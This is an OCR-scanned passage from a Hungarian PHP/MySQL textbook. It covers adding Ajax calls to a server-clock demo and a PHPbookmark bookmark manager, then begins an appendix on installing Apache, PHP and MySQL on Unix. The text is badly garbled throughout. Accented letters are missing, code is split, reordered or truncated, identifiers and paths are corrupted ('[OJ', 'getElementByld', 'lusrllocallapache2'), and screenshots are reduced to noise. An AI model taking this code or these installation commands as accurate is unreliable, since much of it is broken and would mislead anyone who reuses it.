ms s ms URL-t kapunk, mikzben ez semmilyen hatssal nincs a mgttes kd mkdsre.
A fggvny utols hrom sora az elz rszben ltott getXMLHTTPRequest () fggvny meghvsval ltrehozott
XMLHTTPRequest
Az open metdust meghv sorban az albbi paramtereket lthatjuk: a krs tpusa (GET) , az URL (azURL ) , illetve
a true rtk, ami jelzi, hogy aszinkron krssel llunk szemben.
Az onreadystatechange metdust hasznl sorban a fggvny az objekrum llapotnak vltozsakor egy j,
34
aHTTPValasz
A send metdust meghv sorban a fggvny NULL tartalmat kld a szerveroldali kdnak.
Most hozzuk ltre a szerverido. php nev fjlt, amely a 34.1 pldakdban lthat kdot kell, hogy tartalmazza!
34.1 pldakd: A szerverido.php tartalma
<?php
header('Content-Type:
text/xml');
605
A kd lekri a PHP date() fggvnyvel a pillanatnyi szerveridt, m:lJd XML kdols karakterlncban visszaadja az
rtket. A date () fggvnyt valjban ktszer hvjuk meg: egyszer date( ' H : i : s ' ),egyszer pedig date( ' Y. m.d. ' ) for
mban. Az elbbi a pillanatnyi szerveridt adja vissza ra, perc s msodperc formban (24 rs idformtumot hasznlva), az
utbbi pedig a kd meghvsnak dtumt v, hnap, nap formban.
Az eredmnyszering a kvetkezkppen fog kinzni - annyi klnbsggel, hogy a szgletes zrjelben lv elemek helyn az
pontos id [id],
</idostring>
</clock>
A kvetkez rszben ltrehozzuk a mg htralv fggvnyt ( aHTTPValasz ()),s kezdnk valamit a kiszolgln lv
PHP kdtl kapott vlasszal.
if (sajatKeres.readyState == 4)
if(sajatKeres.status == 200)
{
{
var idoString =
sajatKeres.responseXML.getElementsByTagName("idostring") [0];
document.getElementByld('idomegjelenitese').innerHTML
timeString.childNodes[OJ .nodeValue;
else
document.getElementByld('idomegjelenitese').innerHTML
'<img src="ajax-loader.gif"/>';
A kls if...else utasts az objektum llapott ellenrzi. Ha az llapot nem 4 (befejezett), a kd egy animcit (<img
a kvetkez ellenrzssei azt nzzk meg, hogy a kiszolgl llapota vajon 200, azaz rendben van-e.
Ha az llapot 200, lttehozzuk az idoString nev j vltozt. Ehhez a vltozhoz a szerveroldali kd ltal kldtt XML
adat idostring elemben trolt rtket rendeljk, amit a vlasz getElementByTagname metdusval keresnk vissza:
var idoString = sajatKeres. responseXML. getElementsByTagName ("idostring") [O J;
A kvetkez lps ennek az rtknek a megjelentse a HTML fjlban, annak a CSS ltal meghatrozott tetletn. Pldnk
ban az idomegjelenitese nven definilt dokumentumelemben fogjuk kiratni ezt az rtket:
document.getElementByld('idomegjelenitese').innerHTML =
idoString.childNodes[O] .nodeValue;
tartalma
function getXMLHTTPRequest()
var keres
try
= false;
{
/* Firefaxhoz */
keres
= new XMLHttpRequest();
catch (hiba)
try
34
606
34. fejezet
/* egyes
keres
IE verzikhoz */
= new ActiveXObject("Msxml2.XMLHTTP");
catch (hiba)
try
{
/* ms IE verzikhoz */
keres
= new ActiveXObject("Microsoft.XMLHTTP");
catch (hiba)
keres
false;
return keres;
function getSzerverido ()
azURL,
true);
sajatKeres.onreadystatechange = aHTTPValasz;
sajatKeres.send(null);
function aHTTPValasz ()
if (sajatKeres.readyState ==
4)
if(sajatKeres.status == 200)
{
{
var idoString =
sajatKeres.responseXML. getElementsByTagName ("idostring")[O l ;
document.getElementByid('idomegjelenitese') .innerHTML
idoString.childNodes[O] .nodeValue;
else
document.getElementByid('idomegjelenitese').innerHTML
'<img src="ajax-betolto.gif"/>';
34
607
background: #fff;
font-family: Verdana,
font-size:
sans-serif;
12pt;
font-weight: normal;
. displaybox
width: 300px;
height: lOOpx;
background-color:#ffffff;
border:2px solid #000000;
line-height: 2.5em;
margin-top: 25px;
font-size: 12pt;
font-weight: bold;
</style>
</head>
<body>
<div align="center">
<hl>Ajax bemutat</hl>
<p align="center">Ha az egeret a lenti tglalap fl mozgatja,
a tglalapban megjelenik az aktulis szerverid.<br/>
Az oldal nem frissl,
</body>
</html>
A kd az XHTML deklarcival indul, amit a <html> s a <head> nyitcmke kvet. A dokumentum head rszbe,
34
<styl e>< ls ty l e> cmkk kz kerlnek a stluslapelemek. A fenti kdban csak kt stlust hattozunk meg: a body cm
kn belli sszes tartalom formtumt, illetve a displaybox osztlyt hasznl elem formtumt. A displaybox osztlyt
300 kppont szles s 50 kppont magas, fehr htter s fekete krvonal tglalapknt hatrozzuk meg. A tglalapon belli
nnden szveget 12 pontos, flkvr betvel szednk.
A stluslapelemek utn, de mg a head rszen bell kvetkezik a JavaScript fggvnyknyvtrra mutat hivatkozs:
<script src="ajax_fuggvenyek.js" type="text/javascript"></script>
Ekkor lezrjuk a head elemet, s elkezddik a body. Ebben csak XHTML kdot tallunk. Egy kzpre igaztott div
elemben van az oldal fcmnek szvege (Ajax bemutat), illetve a ltogatknak sznt utastst, amely szerint az egeret a tgla
lap fl mozgatva az aktulis szerveridt tudjk megjelenteni.
'----
608
34. fejezet
Adiv elem attribtumain bell, idomegjelen i tese azonostval (id) lthatjuk a tnylegesen vgbemen mveletet,
Az onmouseover hasznlata azt eredmnyezi, hogy amikor a felhasznl egere az idomegjelen itese nev div ltal
meghatrozott terlet fl kerl, a kd a getSzerverido () JavaScript fggvnyt hvja meg. A fggvny meghvsa krst
intz a kiszolglhoz, a kiszolgl vlaszol, az eredmnyl add szveg pedig megjelenik ebben a div elemhen.
Megjegyzs: A javaScript fggvnyeket sokflekppen, pldul rlap klds gombjnak oneli ck esemnyvel is meghvhat
juk.
A34.1, 34.2 s 34.3 brn a mkdshe lp kd ltal kivltott esemnysort ltjuk. Az ajaxSzerverido. html oldal
egyik esethen sem tltdik jra, csak az idomegjelenitese nev d i v tartalma frissl.
Ajax bemutat
He az Wijefel: a lenti teglalap fO! mo.z98t}a, a tglalapben meo az Illetualis
S:ZI!f'lefld6.
Az oldal nem frlssGI, csak 11 tglaiiiC) wtalma v6iltozllc.
34.1 bra:
Ajax bemutat
Han f!9l!t't1l a lenti tglalap fOi rncJZ911tja, a tglalapban me<,)elefWk az akbmUs
szervet1d(i.
Az oldal '*"frlS$11l, CSille a tglalao tartalma vllltozllt..
34
34.2 bra:
A felhasznl a tglalap fl mozgaija egert, ezzel elindija a krst; az ikon jelzi, hogy az objektum tltdik.
laa:-:x':' r-.o-
.[) ,_"_,----
M'4___
..,
o:-:tr,,
..
Ajax bemutat
A,..<d6'8'09"'5,mj
!>l:erveridll.
Al. oldal nem frlssOI, csak 11 t9lalapl:art:alma v61tozlk.
I
34.3 bra:
A kiszolgltl kapott eredmny megjelenik az idomegj elen itese nev div terletn;
ha ismt a tglalap fl mozgaijuk egernket, jbl meghvjuk a kdot.
609
Megjegyzs: Ha mgis a regisztrci t alaktannk t gy, hogy tmogassa az Ajax mkdst, akkor egy JavaScript fggvny
meghvsval olyan PHP kdot futtathatnnk, amely ellenrzi, hogy a felhasznl e-mail cme s felhasznli neve nem tallha
t-e mr meg a rendszerben. Ha megtallhat, akkor a fggvny hibazenetet jelenthet meg, s a hibs adatok kijavtsig nem
engedlyezi a regisztrcis rlap elkldst.
34
610
34.fezer
zetbl emlkezhernk r, hogy a HTML fejlcnek kimenert elllr fggvny neve html_fej lec_letrehozasa (},s
a kimeneti_fuggvenyek.php fjlban tallhat.
A fijlnak az j vltozatt a 34.4 pldakdban ralljuk.
34.4 pldakd: A html_fejlec_ letrehozasa(} fggvny kiegsztett, az j stluslapra s a JavaScriptfggvnyknyvtrra
mutat vltozata
function html fejlec_letrehozasa($oldalcim}
ll HTML fejlc megjelenitse
?>
<html>
<head>
<title><?php echo $oldalcim;?><ltitle>
<sty le>
body
li,
{ font-family: Arial,
td
{ color:
hr
{ color:
Helvetica,
{ font-family: Arial,
13px;
sans-serif; font-size:
13px;
f3333cc;
tOOOOOO;
sans-serif; font-size:
Helvetica,
<lstyle>
<lhead>
<body>
<img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O"
align="left" valign="bottom" height="SS" width="57" l>
<hl>PHPbookmark<lhl>
<hr l>
<?php
if($oldalcim}
do_html_heading($oldalcim};
34
611
url,
true);
sajatKeres.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
sajatKeres.setRequestHeader("Content-length",
sajatKeres.setRequestHeader("Connection",
parameterek.length);
"close");
sajatKeres.onreadystatechange = hozzaadKJValasz;
34
sajatKeres.send(parameterek);
Ez a fggvny a fejezet korbbi rszben hasznlt getSzerverido() fggvnyhez hasonlan nz ki. A benne vgbemen
folyamat is igen hasonl: vltozk ltrehozsa, adatok elkldse a PHP kdnak, maJd a kiszolgltl kapott vlaszt kezel
fggvny meghvsa. A kvetkez sor egy nv/ rtk prt hoz ltre az rlapmez nevbl s a felhasznl ltal bert rtkbl:
var parameterek = "uj_url="
encodeURI(document.getElementByid('uj_url').value);
A parameterek rtkt a fggvny utols sorban kldjk vissza a mgttes PHP kdnak:
sajatKeres.send(parameterek);
Az rtkek eltt hrom krsfejlcet is elkldnk, hogy a kiszolgl tudja, miknt kezelj e a POST krsben kldtt adatokat:
sajatKeres.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
sajatKeres.setRequestHeader("Content-length",
sajatKeres.setRequestHeader("Connection",
parameterek.length);
"close");
A folyamat kvetkez lpse a kiszolgl vlaszt kezel JavaScript fggvny ltrehozsa; kdunkban a hozzaadKJValasz
nevet adtuk ennek a fggvnynek:
sajatKeres.onreadystatechange = hozzaadKJValasz;
612
34. fejezet
(sajatKeres.readyState
{
==
4)
if(sajatKeres.status == 200)
{
{
eredmeny = sajatKeres.responseText;
document.getElementByid('eredmenymegjelenitese') .innerHTML
else
eredmeny;
A fenti JavaScript fggvny elszr is ellenrzi az objektum llapott; ha befejezte feladatt, ellenrzi, hogy a kiszolgltl
kapott vlaszkd vajon 200, azaz ok-e. Ha nem 20 O, a.,Hiba trtnt a krs teljestse kzben:' figyelmeztetst jelenti meg.
Ha brmilyen ms vlasz jn a kj_hozzaactasa.php kd vgreh:ytsbl, az megjelenik egy eredmenymegjelenitese
id rtk div cmkben. Az eredmenymegjelenitese id jelen pillanatban fehr httrknt definilt az uj_ss. ess
stluslapban:
#eredmenymegjelenitese
background:
#fff;
A,
34
PHPbookmark
Krly'ljftzk houadba
F"'"J
PHPbookmark
Konyv}elz6k hoz.Uadiu
IWS:::
:'"
-
o
o
613
folytathassuk a knyvjelzk hozzadst, hogy brmely oldalelemet jra be kellene tlteni. Ez az j fajta mkdsi md vltoz
tatsokat ignyel a kj_ hoz zaadasa. php kdban, amelynek eredeti vltozatt a 34.8 pldakdban lthatjuk.
34.8 pldakd: Az eredeti kj_hozzaadasa.php kd
<?php
require_once('konyvjelzo_fuggvenyek.php');
session_start();
try
ervenyes_felhasznalo_ellenorzese();
(! kitoltott($_POST)) {
if
(! (@fopen($uj url,
'r')))
felhasznaloi_url_megjelenitese($url tomb);
34
echo $e->getMessage();
felhasznaloi_menu_megjelenitese();
html_lablec letrehozasa();
?>
A kd els sora belesti a konyvjelzo fuggvenyek.php fjl sszes elemr. Ha megnzzk a konyvjelzo_
_
fuggvenyek. php tartalmr, lthatjuk, hogy a fjl tovbbi fjlok sorozatt hvja meg:
<?php
ll Ezt a fjlt az sszes fjlba beilleszthetjk,
ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket
require_once('adat_ellenorzo_fuggvenyek.php');
require_once('adatbazis_fuggvenyek.php');
require_once('felhasznaloi_hitelesites_fuggvenyek.php');
require_once('kimeneti_fuggvenyek.php');
require once('url fuggvenyek.php');
?>
614
34.fezer
Ugyan az alkalmazs Ajaxor rmogar verzijnak knyvjelzk hozzadsra szolgl rszben nem biztos, hogy a fenti ele
mek mindegyikre szksgnk lesz, az elejn lv megjegyzs mindenr megmagyarz: mindegyik (fjl} tartalmazni
fogja fggvnyeinket s kivteleinket. ilyen helyzetben, amikor dinamikus oldalak sorozarrl prblunk tllni
mindent az egyben tartalmaz ajaxos mkdsre, jobb megtartani nhny, esedeg feleslegesnek bizonyul elemet, minrsem
eltvoltani egy-egy fontos funkcit. ppen ezrt hagyjuk meg a kj_hozzaadasa. php fjl els sort gy, ahogy van!
A msodik sort, amely j felhasznli munkamenetet indt vagy meglvt folytat, szintn ne vltoztassuk meg! A mvelet
Ajaxot tmogat verzijban is szksgnk van a biztonsgra. Ugyangy hagyjuk vltozatlanul a harmadik sort is, amelyben
rvid vltoznevet ( Suj_url ) adunk a krsben elkldtt POST rtknek:
$uJ_url
$ POST['uj_url'];
Ezzel eljutottunk odig, hogy vgre-valahra eltvoltharunk valamir, nevesen az albbi sort:
html_fejlec_letrehozasa('Knyvjelzk hozzadsa'};
Mivel mr gyis a HTML fejlc-informcit tartalmaz oldalon ( kj_ hozzaactasa_urlap. php) vagyunk, nincs rtelme
megismtelni azr, hiszen nem megynk msik oldalra. Ez az ismdds eredmnyezi a 34.4 brn ltott dupla fejlcet. Hason
l okok miatt szabaduljunk meg a kj_hozzaactasa. php kd vgn tallhat kt sortl is:
felhasznaloi_menu_megjelenitese(};
html lablec letrehozasa(};
Ha eltvoltjuk ezeket az elemeket, feltltjk a fjlt a kiszolglra, majd megprblunk az alkalmazsban hozzadni egy
knyvjelzr, megkzeltleg a vrt eredmnyt kapjuk.Nhny tovbbi mdostsra azonban mg mindig szksg van.A 34.5
brn azt lthatjuk, hogy a kdban az eddig a pontig vgrehajtott vltoztatsokkal hogyan jelenik meg az alkalmazs.
Mg nndig ktszer jelenik meg a felhasznl llapotra vonatkoz informci (bejelentkezett), de az sszkp mr nem
annyira zavar, mint az elbb. A kvetkez lps a dupln megjelen zenetek eltvoltsa, illetve a kd kivtelkezelshez kap
csold rsznek mdosrsa, hogy az Ajax krnyezetben is megfelel legyen.
1--E:..:,------7i: 7:2
PHPbookmaf1t
KnyvjekOk hozzJadsa
-..- --
...
T.,. n--
._
PHPbookmark
K6nyvjetz6k hozziiidba
---
A._,_".,_.___,_
-----
34.5 bra: A
34
knyvjelz hozzadsakor lthat oldal a kj_ hozzaadasa. php kd els mdostsa utn.
A felhasznl bejelentkezsi nevt tartalmaz zenet msodik pldnynak trlshez tvoltsuk el a kj_hozzaadasa. php
kdbl az albbi sort:
ervenyes felhasznalo_ellenorzese(};
pldakd: A
kj_hozzaactasa. php
kd mdostott vltozata
<?php
require_once('konyvjelzo_fuggvenyek.php'};
session_start(};
615
if (!kitoltott($_POST))
ll ha nincsen
echo "<p class=\"warn\">Az rlap nincs teljesen kitltve.<lp>";
else
ll ha ki van;
if (strstr($uj_url,
$uj_url
'http:ll'.$uj_url;
'r')))
ll ha rvnyes,
kj_hozzaadasa($uj_url);
echo "<p>Knyvjelz hozzadva.<lp>";
A kd ezen vltozata is a lehetsges esemnyek logikus menett kveti, m az egyes oldalelemek megkett:l:se nlkl jelenti
meg a megfelel hiba::enetet.
Elsknt a::t ellenri::::k, hogy magt az rlapot kitltttk-e. Ha nem, akkor hiba::enet jelenik meg a ho::adsra s::olg
l rlap s az eltrolt knyvjel::k aktulis listja k::tt. Ezt az esetet ltjuk a 34.6 brn.
A msodik ellenrzs az URL megfelel formtumra vonatkok; nem megfelel formtum esetn a karakterlncot helyes
URL-l alaktjuk, majd tovbbmegynk a kvetkez lpsre. Ebben az URL-t megnyitva ellenmzk rvnyessgt. Ha az
URL-t nem lehet megnyitni, hiba::enet jelenik meg az rlap s az eltrolt knyvjel::k aktulis listja k::tt. Mkd URL
esetn ho::::adjuk azt a felhas::nl URL-jeit trol listho::. A 34.7 brn azt a vlas::t ltjuk, amit akkor kapunk, ha rvny
telen URL-t kisrink meg ho::::adni a listho::.
-=---J-=
A
PHPbookmark
KDnyvjehOk houi.adba
1---
Ef;;;:;....;.ji..
D
IIWIWMIMI
__.... , _
34
616
34. fejezet
//HPbookmark
Knyvjelzk hozzdlso
IQIIak:s....
--
ll!_
11
.......
o
o
34
ll ellenrizzk,
$eredmeny = $kapcsolat->query("SELECT
FROM konyvjelzo
617
'" .$uj_url."')"))
knyvjelz
return true;
Jelen esetben pusztn a kivteleket szeretnnk megvltoztatni, hogy hibazenetet eredmnyezzenek, s folytassk a feldolgo
zst (megjelentst). Ezt gy rhegk el, ha a kt klnll if blokkot
if ($eredmeny && ($eredmeny->num_rows>0))
az
hozzadsa sikerlt.<lp>";
A kdnak ez a vltozata is a lehetsges esemnyek logikai menett kveti, s a megfelel hibazeneteker jelenti meg. Miutn
megvizsglj a, hogy
az
adott knyvjelz megtallhat-e mr a felhasznl knyvjelzi kztt, vagy hibazenet jelent meg az
rlap s az eltrolt knyvjelzk aktulis listja kztt, vagy megprblja hozzadni a knyvjelzt az adatbzishoz.
Ha a hozzads nem hajthat vgre, megint csak hibazenet jelenik meg az rlap s
az
Amennyiben a knyvjelzt sikeresen hozzadtuk az adatbzishoz, ..A knyvjelz hozzadsa sikerlt:' zenetet kzljk
a felhasznlval. Ezt
az
tettk be, mert msklnben az is elfordulhatna, hogy a felhasznl,.A knyvjelz hozzadsa nem sikerlt:' zenetre!, majd
kzvetlenl utna"A knyvjelz hozzadsa sikerlt:' zenettel tallkozik olyan esetben, amikor egybknt a knyvjelzt nem
sikerlt felvennie.
A 34.9 brn a fenti vltoztatsok eredmnyt lguk.
34
A __ ,_,_"-.-.,
---
c
c
__......, , _
618
34. fejezet
Amikor a felhasznl az egyes knyvjelzk mellett lv .,Trls?" jellngyzetbe kattint, hvjunk meg egy j JavaScript
fggvnyt!
Mdostsuk a kj torlese. ph p kdot gy, hogy ha az j JavaScript fggvny meghvja, hajtsa vgre a trlsi folyama
_
Tovbbi informci
A fejezetben csupn rintlegesen foglalkozhattunk az Ajaxot tmogat alkalmazsok ltrehozsnak feladatval. A Sams
Teach YourselfAjax,]avaScript and PHP All in One (Tanuljuk meg az Ajax, a JavaScript s a PHP hasznlatr!) cm kiadvny
sokkal rszletesebben trgyalja ezeket a tmakrket (s mg sok msikat), gy ha az ebben a fejezetben lertak felkeltettk r
dekldsnket, rdemes lehet beleolvasni. Szmos olyan weboldal ltezik, amit rszben vagy egszben az Ajax alkalmazsokat
alkot technolgiknak szemeitek, illetve az olyan kdknyvtrakbl sincs hiny, amelyek azzal segithetik munknkat, hogy
megkmlnek bennnket a kerk jbli felfedezstL
34
Megjegyzs: Read Garrett .Ajax: A New Approach to Web Applications" cm rsa a http:/ /www.adaptivepath.com/
ideasiessays/ archives/000385.php oldalon rhet el.
619
A kvetkezkben nhny npszer knyvtrat sorolunk fel, de ha bngsznk egy kicsit az Ajax-fejleszti oldalakon, rvid
id alatt sok msik knyvtrhoz eljutharunk. Ha ezek kzl kivlasztunk egyet (vagy tbbet), amit hasznlni kvnunk, rvi
debb id alatt kszthetjk el alkalmazsainkat, mert - ahogy mr utalrunk r- nem kell jra felfedeznnk a kereket.
A Prototype JavaScript Framework sszetert Ajax alkalmazsok fejlesztse esern segti munknkat azzal, hogy egy
szerbb teszi a DOM-kezelst s a XMLHTTPRequest objektum hasznlatr. Tovbbi informcirt ltogassunk el
a hrtp://www.prototypejs.org/ oldalra!
A Dojo nylt forrskd eszkzkszlet, amely alapszintJavaScript fggvnyeket, widgetek ltrehozsra szolgl keret
rendszert, valamint a kd becsomagolsra s a vgfelhasznlhoz val hatkony eljuttatsra alkalmas mechanizmust
knl. Ha szeretnnk rla bvebb informcit kapni, ltogassunk el a http:/l dojoroolkit.org/ oldalra!
AMochiKit a DOM-me! vgzert munkhoz szksges s a kimenetet a vgfelhasznl szmra formz fggvnyeket
tartalmaz knyvtr. A MochiKit szlogenje kicsit nyersen, de szintn cloz r, hogy hasznlatval nem kevs bossz
sgtl kmlhegk meg magunkat: "MochiKit makesJavaScript suck Iess:' AMochiKitben lv fggvnyek s megold
sok, a fejleszrk szmra elrhet dokumentcik s aMochiKir hasznlatval ltrehozott mintaprojektek mind emlrs
re rdemesek. Tovbbi informcirt menjnk a hrtp://mochikir.com/ oldalra!
Ajaxfejleszti weboldalak
Az Ajax-fejlesztsrl vgs soron gy tanulharunk a legtbbet, ha kiprbljuk. Gyjrsnk ssze kddarabkkar, gondoljuk
ki, hogyan lehet azokat meglv alkalmazsainkba beilleszteni, s tanuljunk azokrl, akik mr rgebb ta dolgoznak ezekkel
a technolgikkal l Az albbi oldalakon rengeteg segitsger kaphatunk, hogy hogyan fogjunk hozz az Ajax-fejleszrsnek:
Az Ajaxian fejleszti portl hreket, cikkeket, oktatanyagokat s minrakdokar knl a kezd s rapasztalt fejlesztknek.
A portl a hrtp:/ /ajaxian.com/ oldalon rthet el.
Az AjaxMarters rszleres s tartalmas cikkeket, rsokat kzl az Ajax-fejlesztsrL Tovbbi informcirt ltogassunk
el a hrtp://www.ajaxmarters .com/ oldalra!
Az Ajax Lines egy msik fejleszti portl, ami az Ajaxszal kapcsolaros hrekre s rsokra murar hivatkozsokbl ll.
A portlt a hrtp://www.ajaxlines.com/ cmen rjk el.
34
A fggelk
A PHP s
MySQL teleptse
Az Apache, a PHP s a MySQL opercis rendszerek s webszerverek sokfle kombincijn rhet el. Ebben a fggelkben
csupn nhny platformra vonatkozan mutatjuk meg, hogyan kell az Apache-t, a PHP-t s a MySQL-t telepteni s bellta
ni: a Unix s a Windows Vista opercis rendszeren elrhet leggyakoribb lehetsgeket tekintjk t.
Az albbi fbb tmakrkkel foglalkozunk:
A PHP futtatsa CGI rtelmezknt vagy modulknt
Az Apache, az SSL, a PHP s a MySQL teleptse Unix alatt
Az Apache, a PHP s a MySQL teleptse Windows alatt
Megjegyzs: A PHP Microsoft Internet Information Serverre vagy ms webszerverre teleptsnek folyamatval itt s most nem
foglalkozunk. Ha lehetsg van r, az Apache webszerver hasznlatt javaso!juk. A Microsoft IIS-re vagy Personal Web Serverre
(PWS) teleptsrl a PHP online kziknyvnek http://www.php.net/manual!en/install.windows.iis.php oldaln olvashatunk.
Jelen fggelkben olyan teleptsi tmutatt kivnunk adni, amely lehetv teszi, hogy tbb weboldalt zemeltessnk
egyeden webszerveren. Egyes oldalakon - pldul a knyv nmelyik projektjben - Secure Sockets Layer {SSL) szksges az
e-kereskedelmi megoldsokhoz. A weboldalak tbbsgt kdokkal vezreljk, hogy adatbzisszerverhez kapcsoldva adatokat
nyerjenek ki belle, s feldolgozzk azokat.
Rengeteg olyan PHP-felhasznl ltezik, akinek soha, egyeden gpre sem kell PHP-t teleptenie. Pontosan ezrt ke
rlt ez az anyag ide, a fggelkbe, nem pedig a PHP
Megjegyzs: A PHP rtelmez Juttathat modulknt vagy klnll CGI (Common Gateway Interface, azaz kzs Yr
interfsz) binris fjlknt. A teyestmny tern jelentkez elnyei miatt ltalban a modul verzit preferyk. A CGI verzit
olyan kiszolglkhoz hasznyk, amelyeken a modul verzi nem elrhet, vagy azrt vlaszYk, rnert lehetv teszi az Apache
felhasznlknak, hogy klnbz Jelhasznli azonostk alatt klnbz PHP alap oldalakatJuttassanak.
Ebben a fggelkben a modul verzit mutatjuk be a PHP futtatsnak elsdleges mdszereknt.
622
35. fejezet
A forrsbl val teleptsnl idt kell sznni a letltsre, a teleptsre s a konfigurlsra, s az els nhny alkalommal ta
ln jogosan idegenkednk tle. Ebben az esetben azonban celjes mrckben ellenrzsnk alatt carejuk a teleptse. Mi vlaszt
juk ki, hogy mit teleptsnk, milyen verzit hasznljunk, s milyen konfigurcis direktvkat lltsunk be.
Forrs teleptse
Teleptsk az Apache-t, a PHP-t s a MySQL-t unixos krnyezetbe! Elszr is el kell dncennk, hogy a fenti ttin tlmen
en milyen extra modulokat kivnunk telepteni. Mivel a knyvben bemutatott pldk egy rszben biztonsgos szerverc hasz
nlrunk a webes tranzakcikhoz, SSL-t tmogaeni kpes kiszolglt kell telepteni.
A knyv cljainak megfelel PHP konfigurci tbb-kevsb megegyezik az alaprcelmezettel, m munknkhoz a gd2
knyvtrra is szksgnk van. Ez csak egyike a PHP-hoz elrhet szmtalan knyvtrnak. Azrt vettk be ezt is a teleptsi
folyamatba, hogy lssuk, hogyan tehetnk a PHP-n bell ms knyvtrakat is elrhetv. A legebb Unix program fordtsa
hasonl folyamat szerinc trtnik.
j knyvcr teleptse utn ltalban jra kell fordtani a PHP-t, ezrt ha rudjuk elre, hogy mire van szksgnk, rdemes
gpnkre az sszes knyverat telepteni, majd utna elkezdeni a PHP modul teleptst.
A kvetkezkben a SuSE Linux szerverre val telepts folyamatt mucatjuk be, de lersunk elg ltalnos ahhoz, hogy ms
Unix kiszolglkan is hasznt vegyk.
Kezdskm gyjtsk ssze a teleptshez szksges fjlokat! Az albbi elemekre lesz szksgnk:
Apache (http://httpd.apache.org/) - A webszerver
OpenSSL (http://www.openssl.org/)-Nylt forrskd eszkzkszlet a Secure Sockets Layer megvalstsra
MySQL (http://www.mysql.com/)-A relcis adatbzis
PHP (http://www.php.net/)-A szerveroldali programozsi nyelv
ftp://ftp.uu.net/graphics/jpeg/-A PDFlib-hez s gd-hez szksges JPEG knyvtr
htcp://www.libpng.org/pub/png/libpng.hcml - A gd-hez szksges PNG knyvtr
http://www.zlib.net/- A fenti PNG knyvtrhoz szksges zlib knyvtr
http://www.libriff.org/-A PDF!ib-hez szksges TIFF knyvtr
Amennyiben hasznlni kivnjuk a ma il ( ) fggvnyt, kell, hogy legyen teleptve egy MTA (maii transfer agent, azaz levlto
vbbt gens), m ennek folyamatra most nem trnk ki.
Felttelezzk, hogy hozzfrnk a kiszolgl gykrmappjhoz, s rendszernkre teleptve vannak a kvetkezk:
gzip vagy gunzip
gc c s GNU make
Ha kszen llunk a teleptsi folyamatra, elszr is tltsnk le nnden tar forrsfjlt egy ideiglenes knyvtrba! Olyan
meghajtra rakjuk ket, ahol megfelel trhely ll rendelkezsnkre! Pldnkban a lusrlsrc ideiglenes knyvtrat hasznl
juk. A jogosultsgi problmk elkerlse rdekben root ( rendszergazdai) felhasznlkm tltsk le a fjlokat!
MySQL teleptse
Ebben a rszben bemutatjuk, hogyan hajtsuk vgre a MySQL binris teleptst. Az ilyen tpus telepts a fjlokat automati
kusan helyezi el a megfelel helyekre. Az albbi knyvtrakat vlasztottuk a tri tbbi tagjnak teleptshez:
lusrllocallapache2
lusrllocallssl
623
Az alkalmazsokat gy tudjuk msik knyvtrakba telepteni, ha telepts eltt megvltoztatjuk az eltag-belltst (prefix).
Vgjunk bele! Az su hasznlatval vltsunk root felhasznlra:
$
su root
Ezt kveten gpeljk be a root felhasznl jelszavt! Majd vltsunk arra a knyvtrra, ahol a forrsfjlokat eltroltuk! Ese
tnkben a kvetkezt kell begpelni:
#
cd /usr/src
A MySQL azt nlja, hogy ne nullrl kezdve vgezzk el a fordtst, hanem tltsk le a MySQL egy binris csomagjt.
Hogy melyik verzit vlasztjuk, az attl fgg, hogy rnire szeretnnk hasznlni. Br a MySQL"prerelease" verzii ltalban igen
stabilak, lesben mkd oldalon nem szoks hasznlni ket. Ha viszont sajt gpnkn tanulunk vagy ksrleteznk, nyugod
tan dolgozhatunk ezekkel a verzikkal is.
Az albbi csomagokat kell letlteni:
MySQL-server-VERZI.i386.rpm
MySQL-Max-VERZI.i386.rpm
MySQL-client-VERZI.i386.rpm
(A VERZI sz helyre kerl a konkrt verziszm. Akrmelyik verzi mellett dntnk, gyeljnk, hogy hozz megfelel
kszletet vlasszunk!) Ha ezen a gpen kvnjuk ftmatni a MySQL klienst s szervert, illetve ms programokba-pldul
PHP-be - be kvnjuk fordtani a MySQL tmogatst, akkor mindhrom csomagra szksgnk lesz.
Az albbi utastsokat begpelve teleptsk a MySQL szervereket s a klienst:
rpm -i MySQL-server-VERZI.i386.rpm
rpm -i MySQL-Max-VERZI.i386.rpm
rpm
-I MySQL-client-VERZI.i386.rpm
az
mysql -u root -p
Enter password:
mysql> show databases;
+--------------------+
l
Database
+--------------------+
l
mysql
test
+--------------------+
2
rows in set
(0.00
sec)
mysql -u root -p
624
35. fejezet
Hozzuk ltre az letclmy.cnf nev fjlt, ami a MySQL-belltsainkat fogja trolni! Egyelre csupn egyetlen bellrsra
van szksgnk, de akrhnyat bellthatunk itt. A belltsok teljes listjt a MySQL kziknyvben talljuk.
Nyissuk meg a fjlt, s gpeljiik be a kvetkezket:
[mysqld]
log-bin
Menrsiik el a fjlt, majd zrjuk be! Ezt kveten a mysqld_safe futtatsval indtsuk jra a kiszolglt!
A PHP teleptse
Tovbbra is root felhasznl kell, ha nem azok vagyunk, az su segtsgvel vltsunk vissza r!
Mieltt teleptennk a PHP-t, az Apache-t kanfigurlnunk kell, hogy tudja, mit hol tall. {Az Apache szerver belltsakor
visszatrnk erre a tmra.) Menjnk vissza a knyvtrhoz, ahova a forrskdot helyeztiik:
JI
cd lusrlsrc
JI
gunzip -c httpd-2.2.9.tar.gz
JI
cd httpd-2.2.9
JI
tar xvf -
lconfigure --prefix=lusrllocallapache2
cd lusrlsrc
gunzip -c php-5.2.6.tar.gz
cd php-5.2.6
tar xvf
A PHP configure parancsval itt is szmtalan belltst hajthatunk vgre. A . l configure --help l less begpel
svel kapott segtsg alapjn hatrozhatjuk meg, hogy mit kvnunk hozzadni. Jelen esetben a MySQL, az Apache, a PDFtib
s a gd tmogatst kvnjuk bekapcsolni.
rdemes megemlteni, hogy a most kvetkezk egyetlen parancs. rhatjuk az egszet egy sorba, vagy - ahogy itt is szerepel
- hasznlhatjuk a folytats karaktert, a fordtott perjelt {\). Ez a karakter lehetv teszi, hogy az olvashatsg rdekben tbb
sorba rjunk egy hossz utastst:
#
.lconfigure --prefix=lyourlpathltolphp
--with-mysqli=lyourlpathltolmysql coniig
--with-apxs2=1usrllocallapache2lbinlapxs
--with-jpeg-dir=lpathltoljpeglib
--with-tiff-dir=lpathlto.tiffdir
--with-zlib-dir=lpathltolzlib
\
\
--with-imap=lpathltolimapcclient
--with-gd
make
make install
ep php.ini-dist lusrllocallliblphp.ini
vagy
ll
ep php.ini-recommended lusrllocallliblphp.ini
gunzip -c openssl-0.9.8h.tar.gz
cd openssl-0.9.8h
